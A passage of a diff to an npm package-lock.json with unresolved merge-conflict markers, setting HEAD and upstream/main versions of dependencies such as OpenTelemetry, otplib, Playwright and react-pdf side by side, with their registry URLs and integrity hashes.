"https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-4.2.6.tgz", "integrity": "sha512-iiPQ3iRWwnJkeEn6RIu6SJPr7hYrLz6XZ9s/QZl+2/LI5KQVjpl2fdmDSZKuD4xP6GMmMPgHFFXg6k1Wkz0Trg==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -1774,13 +1943,28 @@ ], "license": "MIT", "dependencies": { +<<<<<<< HEAD + "@csstools/color-helpers": "^6.1.0", + "@csstools/css-calc": "^3.2.1" +======= "@csstools/color-helpers": "^6.1.2", "@csstools/css-calc": "^3.4.3" +>>>>>>> upstream/main }, "engines": { "node": ">=20.19.0" }, "peerDependencies": { +<<<<<<< HEAD + "@csstools/css-parser-algorithms": "^4.0.0", + "@csstools/css-tokenizer": "^4.0.0" + } + }, + "node_modules/@csstools/css-parser-algorithms": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.0.tgz", + "integrity": "sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==", +======= "@csstools/css-parser-algorithms": "^4.0.2", "@csstools/css-tokenizer": "^4.0.2" } @@ -1789,6 +1973,7 @@ "version": "4.0.2", "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-4.0.2.tgz", "integrity": "sha512-40cSKyMvK+tq4qz6Awrlye2WGuOKt3FwPgtGg6KTfbHOWNw+Rk1rzbAtZnZ6IBhsY491HLRnDXwoyBAijmmILA==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -1805,6 +1990,15 @@ "node": ">=20.19.0" }, "peerDependencies": { +<<<<<<< HEAD + "@csstools/css-tokenizer": "^4.0.0" + } + }, + "node_modules/@csstools/css-syntax-patches-for-csstree": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.6.tgz", + "integrity": "sha512-TcJCWFbXLPpJYq6z7bfOyjWYJDiDg2/I4gyUC9pqPNqHFRIey0EB0q0L5cSnQDfWJg8Jd6VadakxdIez/3zkqQ==", +======= "@csstools/css-tokenizer": "^4.0.2" } }, @@ -1812,6 +2006,7 @@ "version": "1.1.15", "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.15.tgz", "integrity": "sha512-J0u7HkVl2nzSlhsiTOp4AmwcUQ3D+mGEEKfBy/7To5/y7F2OHwyLrXfrhR0SMgr4p5Lo+eaMVSeai24zUcBIxA==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -1834,9 +2029,15 @@ } }, "node_modules/@csstools/css-tokenizer": { +<<<<<<< HEAD + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.0.tgz", + "integrity": "sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==", +======= "version": "4.0.2", "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-4.0.2.tgz", "integrity": "sha512-OoKoR0f76dCY666JlcbhmVTs2drYj1GUXZTYTcbUgJjh9Nv41aFfZ21bPQTERm5+L5cBDo466NltB2lplS5GBw==", +>>>>>>> upstream/main "dev": true, "funding": [ { @@ -1881,6 +2082,49 @@ "webpack": ">=5.9.0" } }, +<<<<<<< HEAD + "node_modules/@ducanh2912/next-pwa/node_modules/fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/@ducanh2912/next-pwa/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/@ducanh2912/next-pwa/node_modules/semver": { + "version": "7.6.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz", + "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, +======= +>>>>>>> upstream/main "node_modules/@emnapi/core": { "version": "1.10.0", "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", @@ -1916,9 +2160,15 @@ } }, "node_modules/@eslint-community/eslint-utils": { +<<<<<<< HEAD + "version": "4.9.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", + "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", +======= "version": "4.10.1", "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.10.1.tgz", "integrity": "sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -1969,9 +2219,15 @@ } }, "node_modules/@eslint/eslintrc/node_modules/brace-expansion": { +<<<<<<< HEAD + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", + "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", +======= "version": "1.1.21", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -2003,9 +2259,15 @@ } }, "node_modules/@exodus/bytes": { +<<<<<<< HEAD + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz", + "integrity": "sha512-S6mL0yNB/Abt9Ei4tq8gDhcczc4S3+vQ4ra7vxnAf+YHC02srtqxKKZghx2Dq6p0e66THKwR6r8N6P95wEty7Q==", +======= "version": "1.16.0", "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.16.0.tgz", "integrity": "sha512-IcpW84uEn3N7ETtNZMlxKhfl6Pec8rUNGOTBtWbK1FKhJxIFAptZyVrvVRVBimAJxJCgc3PxepxkdWWG4DVzfA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "engines": { @@ -2090,9 +2352,15 @@ "optional": true }, "node_modules/@hookform/resolvers": { +<<<<<<< HEAD + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-5.7.1.tgz", + "integrity": "sha512-8wS/P4UDr5sQDe4nFaV51TVyfDPrWgNIXweqG0Bs9Z5LSuzKLb+RQNPvkN2oHM5SRrJyWrVH/F+LOUcFjUyvwQ==", +======= "version": "5.9.1", "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-5.9.1.tgz", "integrity": "sha512-7b7vsbraJxKgjVSA1Nur9tLwj539WGJUBLA7QNvXnFoT2pM5Z7G+6rlukk4B2/QrTZy6huRtH6wKeESPKuIr6w==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@standard-schema/utils": "^0.3.0" @@ -2114,13 +2382,21 @@ "fluentvalidation-ts": "^3.0.0", "fp-ts": "^2.7.0", "io-ts": "^2.0.0", +<<<<<<< HEAD + "joi": "^17.0.0", +======= "joi": "^17.0.0 || ^18.0.0", +>>>>>>> upstream/main "nope-validator": ">=0.12.0", "react-hook-form": "^7.55.0", "superstruct": ">=0.12.0", "typanion": "^3.3.2", "valibot": ">=0.31.0 || ^1.0.0-beta.4 || ^1.0.0-rc", +<<<<<<< HEAD + "vest": ">=3.0.0", +======= "vest": ">=6.0.0", +>>>>>>> upstream/main "yup": "^1.0.0", "zod": "^3.25.0 || ^4.0.0" }, @@ -2216,9 +2492,15 @@ } }, "node_modules/@humanwhocodes/config-array/node_modules/brace-expansion": { +<<<<<<< HEAD + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.15.tgz", + "integrity": "sha512-EwOCDEex4quD37XhqM3omwtMoJjr//isUZz1JopUNWms+4Z2ViyM/k1YIRePpoVNnQhENnxtFjLaxNHrT7xIUg==", +======= "version": "1.1.21", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "dependencies": { @@ -2279,9 +2561,15 @@ } }, "node_modules/@isaacs/cliui/node_modules/ansi-regex": { +<<<<<<< HEAD + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", +======= "version": "6.4.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.4.0.tgz", "integrity": "sha512-KzTVk2tCWAHtYrvvvaP8bJKJq2pVinhLcGEQdtLIYPbmNGNyYe8QwNaTUYQp2J7/vIsUKt5QCqAfUkYyG9DkOw==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=12" @@ -2345,9 +2633,15 @@ } }, "node_modules/@jridgewell/sourcemap-codec": { +<<<<<<< HEAD + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", +======= "version": "1.6.0", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", "integrity": "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw==", +>>>>>>> upstream/main "license": "MIT" }, "node_modules/@jridgewell/trace-mapping": { @@ -2360,6 +2654,12 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, +<<<<<<< HEAD + "node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.6.tgz", + "integrity": "sha512-ZLv/JdUfkvOy9eCnnBaGfiO+XimbjebAeO+MRQqD/B+FR1tnRN0tpKSJHRbE8sFfS6aqsXZ67TQjfwfsxULVbg==", +======= "node_modules/@napi-rs/lzma-linux-x64-gnu": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/@napi-rs/lzma-linux-x64-gnu/-/lzma-linux-x64-gnu-1.5.1.tgz", @@ -2380,22 +2680,31 @@ "version": "1.2.5", "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.2.5.tgz", "integrity": "sha512-HshSvXzmBxNzqejd3k/KemgQ3hdREUYFRRrgxOZ+gPljDIsO2SDZrVZMd4Z/HsxudQbE62OVyVFE8z9BCurfjA==", +>>>>>>> upstream/main "dev": true, "license": "MIT", "optional": true, "dependencies": { "@tybys/wasm-util": "^0.10.3" }, +<<<<<<< HEAD +======= "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, +>>>>>>> upstream/main "funding": { "type": "github", "url": "https://github.com/sponsors/Brooooooklyn" }, "peerDependencies": { +<<<<<<< HEAD + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1" +======= "@emnapi/core": "^1.7.1 || ^2.0.0-alpha.4", "@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.4" +>>>>>>> upstream/main } }, "node_modules/@next/bundle-analyzer": { @@ -2581,21 +2890,36 @@ } }, "node_modules/@noble/ed25519": { +<<<<<<< HEAD + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@noble/ed25519/-/ed25519-3.1.0.tgz", + "integrity": "sha512-pfcObRY3CtvwfaG9Mt5XqZdKmAQppl37tHUeuBhDUbiwJBCVY4/A4lbMvb1xKhMDx96AqAqZpMWuBX1HulhX4g==", +======= "version": "3.2.0", "resolved": "https://registry.npmjs.org/@noble/ed25519/-/ed25519-3.2.0.tgz", "integrity": "sha512-criDgRlnUA09hchYrTy/JUWPIEap5rZxQe6wDWzRx51oWWpDRcUpuNzlgPxDJaOK6AsW9c0wKcj3rKRv6t+bPQ==", +>>>>>>> upstream/main "license": "MIT", "funding": { "url": "https://paulmillr.com/funding/" } }, "node_modules/@noble/hashes": { +<<<<<<< HEAD + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.8.0.tgz", + "integrity": "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==", + "license": "MIT", + "engines": { + "node": "^14.21.3 || >=16" +======= "version": "2.4.0", "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz", "integrity": "sha512-X5XaVWZIBCT7HHZGm5I7ZQXDwLG+bGXuSrMQAW+7Zvl87h1kmc1ZB1VSRJcpUfoUrGQp4Fkoxm5kZ+Ms+aW+eA==", "license": "MIT", "engines": { "node": ">= 20.19.0" +>>>>>>> upstream/main }, "funding": { "url": "https://paulmillr.com/funding/" @@ -2656,9 +2980,15 @@ } }, "node_modules/@opentelemetry/api-logs": { +<<<<<<< HEAD + "version": "0.214.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.214.0.tgz", + "integrity": "sha512-40lSJeqYO8Uz2Yj7u94/SJWE/wONa7rmMKjI1ZcIjgf3MHNHv1OZUCrCETGuaRF62d5pQD1wKIW+L4lmSMTzZA==", +======= "version": "0.220.0", "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.220.0.tgz", "integrity": "sha512-CmVa4ImJ+ynfrPMNaAXHET6Bhb44SwzmfyVJFq9ni2jgXJR/l7C6gfVFddNmHP+ZOkP9cf4f9DBe68qVLTHc9w==", +>>>>>>> upstream/main "license": "Apache-2.0", "dependencies": { "@opentelemetry/api": "^1.3.0" @@ -2668,9 +2998,15 @@ } }, "node_modules/@opentelemetry/core": { +<<<<<<< HEAD + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.8.0.tgz", + "integrity": "sha512-hd1Lfh8p545nNz+jq1Ejfz+Mn1hyLuxYn1YzTfFNrxr8urEWMNQLPf1Th8kjOH+HxwawCrtgBp8JpBUR4ZSgww==", +======= "version": "2.12.0", "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.12.0.tgz", "integrity": "sha512-1HsSAuvT4/my0QrXWsyXFdWjKaPeCHsismKZgEEIb8NK13LP6DrMRlsUbvD/0F9mDWK3xDom9AMv3IscxgOnOQ==", +>>>>>>> upstream/main "license": "Apache-2.0", "dependencies": { "@opentelemetry/semantic-conventions": "^1.29.0" @@ -2683,12 +3019,21 @@ } }, "node_modules/@opentelemetry/instrumentation": { +<<<<<<< HEAD + "version": "0.214.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.214.0.tgz", + "integrity": "sha512-MHqEX5Dk59cqVah5LiARMACku7jXSVk9iVDWOea4x3cr7VfdByeDCURK6o1lntT1JS/Tsovw01UJrBhN3/uC5w==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.214.0", +======= "version": "0.220.0", "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.220.0.tgz", "integrity": "sha512-xQx3E2WxP1mDvKzxLxX+CTCtNLa560YJZ3087qYHerl2YmiKpv7AH+dAy7vmx+eVrZ5BwhfWUAVoKOoxCNHcpw==", "license": "Apache-2.0", "dependencies": { "@opentelemetry/api-logs": "0.220.0", +>>>>>>> upstream/main "import-in-the-middle": "^3.0.0", "require-in-the-middle": "^8.0.0" }, @@ -2700,6 +3045,14 @@ } }, "node_modules/@opentelemetry/resources": { +<<<<<<< HEAD + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.8.0.tgz", + "integrity": "sha512-qmXQ27ilDbUK/vGMqwL8D4/rhn76C+sherM4wTbjlfknR8Nvfc/hCxjRJPhkzZzUsPiNg16SA31NxMabwttRjg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.8.0", +======= "version": "2.12.0", "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.12.0.tgz", "integrity": "sha512-+rSRoOdln6NhXTVcBdHSlZxJDNzwxadeweK2ltZO3tVtfp6aklABc06xclDk6ovRR+EiGgIcSbh/6NgjFhnb3A==", @@ -2723,6 +3076,7 @@ "dependencies": { "@opentelemetry/core": "2.12.0", "@opentelemetry/resources": "2.12.0", +>>>>>>> upstream/main "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { @@ -2733,6 +3087,15 @@ } }, "node_modules/@opentelemetry/sdk-trace-base": { +<<<<<<< HEAD + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.8.0.tgz", + "integrity": "sha512-mhU4jp+vW0mGbFRd+GeXHvmfA4aDqWjBjLC3pE5XMpLs0IE2ryYb019Ts2AQrOq67gaTF25D91+fgvEHDZEnuQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.8.0", + "@opentelemetry/resources": "2.8.0", +======= "version": "2.12.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.12.0.tgz", "integrity": "sha512-JOERgZCxRM06FEJ5kEWxlSRChah6MmXDx3KwCruqEv/iEyLkTokCSemf2y1w8oIHtfrr8EVTpzebq/31vn2Cpg==", @@ -2741,6 +3104,7 @@ "@opentelemetry/core": "2.12.0", "@opentelemetry/resources": "2.12.0", "@opentelemetry/sdk-trace": "2.12.0", +>>>>>>> upstream/main "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { @@ -2751,15 +3115,45 @@ } }, "node_modules/@opentelemetry/semantic-conventions": { +<<<<<<< HEAD + "version": "1.41.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.41.1.tgz", + "integrity": "sha512-/UhIkaZgPutTFmQ7RnIJGgDXZmtEJ7Dvi86xNTFWcnRxVRNk/aotsqDJYeEvDP+FSMB2SdW+pQzNMcWP0rwuNA==", +======= "version": "1.43.0", "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz", "integrity": "sha512-eSYWTm620tTk45EKSedaUL8MFYI8hW164hIXsgIHyxu3VobUB3fFCu5t0hQby6OoWRPsG1KkKUG2M5UadiLiVg==", +>>>>>>> upstream/main "license": "Apache-2.0", "engines": { "node": ">=14" } }, "node_modules/@otplib/core": { +<<<<<<< HEAD + "version": "13.4.1", + "resolved": "https://registry.npmjs.org/@otplib/core/-/core-13.4.1.tgz", + "integrity": "sha512-KIXgK1hNtWJEBMTastbe1bpmuais+3f+ATeO8TkMs2rNkfGO1FbQy8+/UWVEu3TR/iTJerU0idkPudaPmLP2BA==", + "license": "MIT" + }, + "node_modules/@otplib/hotp": { + "version": "13.4.1", + "resolved": "https://registry.npmjs.org/@otplib/hotp/-/hotp-13.4.1.tgz", + "integrity": "sha512-g9q04SwpG5ZtMnVkUcgcoAlwCH4YLROZN1qhyBwgkBzqYYVSYhpP6gSGaxGHwePLt1c+e6NqDlgIZN+e1/XPuA==", + "license": "MIT", + "dependencies": { + "@otplib/core": "13.4.1", + "@otplib/uri": "13.4.1" + } + }, + "node_modules/@otplib/plugin-base32-scure": { + "version": "13.4.1", + "resolved": "https://registry.npmjs.org/@otplib/plugin-base32-scure/-/plugin-base32-scure-13.4.1.tgz", + "integrity": "sha512-Fs/r5qisC05SRhT6xWXaypB6PVC0vgWf6zztmi0J5RnQ09OJiPDWCJFH6cDm6ANsrdvB9di7X+Jb7L13BoEbUA==", + "license": "MIT", + "dependencies": { + "@otplib/core": "13.4.1", +======= "version": "13.5.0", "resolved": "https://registry.npmjs.org/@otplib/core/-/core-13.5.0.tgz", "integrity": "sha512-2rURdkYkb3BDhMs3j/oCCPTve1ybJ6ruLfLfSe1ZSPV+y6RFTbLfAuT0m0ZCnps88ogkIq9t/+Li/kg5RofQwQ==", @@ -2782,10 +3176,62 @@ "license": "MIT", "dependencies": { "@otplib/core": "13.5.0", +>>>>>>> upstream/main "@scure/base": "^2.2.0" } }, "node_modules/@otplib/plugin-crypto-noble": { +<<<<<<< HEAD + "version": "13.4.1", + "resolved": "https://registry.npmjs.org/@otplib/plugin-crypto-noble/-/plugin-crypto-noble-13.4.1.tgz", + "integrity": "sha512-PJfVW8/1hdS6CfxLheKPZSLTwDq4TijZbN4yRjxlv0ODdzmxpM+wGwWr1JXMdy0xJPxLziydQD5gdVqrR4/gAg==", + "license": "MIT", + "dependencies": { + "@noble/hashes": "^2.2.0", + "@otplib/core": "13.4.1" + } + }, + "node_modules/@otplib/plugin-crypto-noble/node_modules/@noble/hashes": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.2.0.tgz", + "integrity": "sha512-IYqDGiTXab6FniAgnSdZwgWbomxpy9FtYvLKs7wCUs2a8RkITG+DFGO1DM9cr+E3/RgADRpFjrKVaJ1z6sjtEg==", + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@otplib/totp": { + "version": "13.4.1", + "resolved": "https://registry.npmjs.org/@otplib/totp/-/totp-13.4.1.tgz", + "integrity": "sha512-QOkBVPrf6AM4qZaReZPSk9/I8ATVdZpIISJz115MqeVtcrbcr5llPZ0J7804tpnjnp1vCRkI5Qjd47HhgVteBQ==", + "license": "MIT", + "dependencies": { + "@otplib/core": "13.4.1", + "@otplib/hotp": "13.4.1", + "@otplib/uri": "13.4.1" + } + }, + "node_modules/@otplib/uri": { + "version": "13.4.1", + "resolved": "https://registry.npmjs.org/@otplib/uri/-/uri-13.4.1.tgz", + "integrity": "sha512-xaIm7bvICMhoB2rZIR5luiaMdssWR5nY5nXnR1fdezUgZuEO58D6zrGzLp7pQuBmlpmL0HagnscDQFoskp9yiA==", + "license": "MIT", + "dependencies": { + "@otplib/core": "13.4.1" + } + }, + "node_modules/@oxc-project/types": { + "version": "0.137.0", + "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.137.0.tgz", + "integrity": "sha512-WT+Gb24i8hmvo85AIv2oEYouEXkRlKAlT9WaCa3TfLgNCN+GhrJOGZuIlMouAh38Qe4QOx26eUOVsq70qXrywA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/Boshen" +======= "version": "13.5.0", "resolved": "https://registry.npmjs.org/@otplib/plugin-crypto-noble/-/plugin-crypto-noble-13.5.0.tgz", "integrity": "sha512-fihOAGFvc4b8XTKyIK3jifFP2nLrUNc2bOaJ3UkUKJjy1XI2FbHKG0WmOH+jFsPfa6VsOnouCnEmSznDxIe0pA==", @@ -2823,6 +3269,7 @@ "license": "MIT", "funding": { "url": "https://github.com/sponsors/oxc-project" +>>>>>>> upstream/main } }, "node_modules/@pkgjs/parseargs": { @@ -2836,6 +3283,15 @@ } }, "node_modules/@playwright/test": { +<<<<<<< HEAD + "version": "1.61.1", + "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.61.1.tgz", + "integrity": "sha512-8nKv6+0RJSL9FE4jYOEGXnPeM/Hg12qZpmqzZjRh3qM0Y7c3z1mrOTfFLids72RDQYVh9WpLEfR5WdpNX4fkig==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "playwright": "1.61.1" +======= "version": "1.64.0", "resolved": "https://registry.npmjs.org/@playwright/test/-/test-1.64.0.tgz", "integrity": "sha512-oTN9FNYuN6bqQMwiho6jJKLCG2/QOYCixGXuCjRmzOq23eODeukuY2XiAVoVpAECbuezMt1MHQjAiQxK8F+Y+g==", @@ -2843,12 +3299,17 @@ "license": "Apache-2.0", "dependencies": { "playwright": "1.64.0" +>>>>>>> upstream/main }, "bin": { "playwright": "cli.js" }, "engines": { +<<<<<<< HEAD + "node": ">=18" +======= "node": ">=20" +>>>>>>> upstream/main } }, "node_modules/@polka/url": { @@ -3012,6 +3473,16 @@ } }, "node_modules/@react-pdf/types": { +<<<<<<< HEAD + "version": "2.11.1", + "resolved": "https://registry.npmjs.org/@react-pdf/types/-/types-2.11.1.tgz", + "integrity": "sha512-i9xQgfaDU9QoeNnbp6rltXCWg1huEh195rpOuN8cE4BZ2FuLdQrsIcb2dhFF9aOxXf+XBA6LOSpIW051MDD/bw==", + "license": "MIT", + "dependencies": { + "@react-pdf/font": "^4.0.8", + "@react-pdf/primitives": "^4.3.0", + "@react-pdf/stylesheet": "^6.2.1" +======= "version": "2.14.0", "resolved": "https://registry.npmjs.org/@react-pdf/types/-/types-2.14.0.tgz", "integrity": "sha512-TYHpThdf2sz/d1g+CP9nWjYCJ8BYBUN5ORL6+60A85Js9S/YouK8OXzi+hDpYUSZJTOdYXdRxUNeG2oW8//Ulg==", @@ -3020,6 +3491,7 @@ "@react-pdf/font": "^4.1.2", "@react-pdf/primitives": "^4.4.0", "@react-pdf/stylesheet": "^6.3.2" +>>>>>>> upstream/main } }, "node_modules/@react-pdf/types/node_modules/@react-pdf/fns": { @@ -3029,6 +3501,54 @@ "license": "MIT" }, "node_modules/@react-pdf/types/node_modules/@react-pdf/font": { +<<<<<<< HEAD + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/@react-pdf/font/-/font-4.0.8.tgz", + "integrity": "sha512-deNd+emtZAJho1IlzKL9bRoLAGv/6oXOIKO2oZfs4RuXUrK1onLHbJO7e2YoVLPFP/sQxisRTnzdJFtd35iKwA==", + "license": "MIT", + "dependencies": { + "@react-pdf/pdfkit": "^5.1.1", + "@react-pdf/types": "^2.11.1", + "fontkit": "^2.0.2", + "is-url": "^1.2.4" + } + }, + "node_modules/@react-pdf/types/node_modules/@react-pdf/pdfkit": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/@react-pdf/pdfkit/-/pdfkit-5.1.1.tgz", + "integrity": "sha512-wNcdSsNlNYyGHGAgIdt453egBF7fiF9UxpRlklUfVvu8OWCrUppG9xiUrPLVoKiqWet5tMi0w6LmuFUJuYqjEg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.20.13", + "@noble/ciphers": "^1.0.0", + "@noble/hashes": "^1.6.0", + "browserify-zlib": "^0.2.0", + "fontkit": "^2.0.2", + "jay-peg": "^1.1.1", + "js-md5": "^0.8.3", + "linebreak": "^1.1.0", + "png-js": "^2.0.0", + "vite-compatible-readable-stream": "^3.6.1" + } + }, + "node_modules/@react-pdf/types/node_modules/@react-pdf/primitives": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/@react-pdf/primitives/-/primitives-4.3.0.tgz", + "integrity": "sha512-nYXoZ36pvwNzbc54+DbL8RCn15jU7woJ9D/svnh5tpUXekJ+CbI4mZLo6boSv24CvJgychOu6h7gxX03B4ps0A==", + "license": "MIT" + }, + "node_modules/@react-pdf/types/node_modules/@react-pdf/stylesheet": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/@react-pdf/stylesheet/-/stylesheet-6.2.1.tgz", + "integrity": "sha512-2+UEk+7e+z8baaWi2l5kPLWmwtJeOI+T5wW9GGeN3iDH7vd3kbTqOpN1yt9mmfNVZFxQsnDHpznFb5v5UF983A==", + "license": "MIT", + "dependencies": { + "@react-pdf/fns": "3.1.3", + "@react-pdf/types": "^2.11.1", + "color-string": "^2.1.4", + "hsl-to-hex": "^1.0.0", + "media-engine": "^1.0.3", +======= "version": "4.1.2", "resolved": "https://registry.npmjs.org/@react-pdf/font/-/font-4.1.2.tgz", "integrity": "sha512-RT/jiGWIRjIC9c4S9NiqhEyfuA6YL+DtWL3Rm+k+zQhfeHYvHwGzFxr7ZJzThIMrT8sIQy+mpvFvfYyitEei/Q==", @@ -3057,13 +3577,20 @@ "color-string": "^2.1.4", "hsl-to-hex": "^1.0.0", 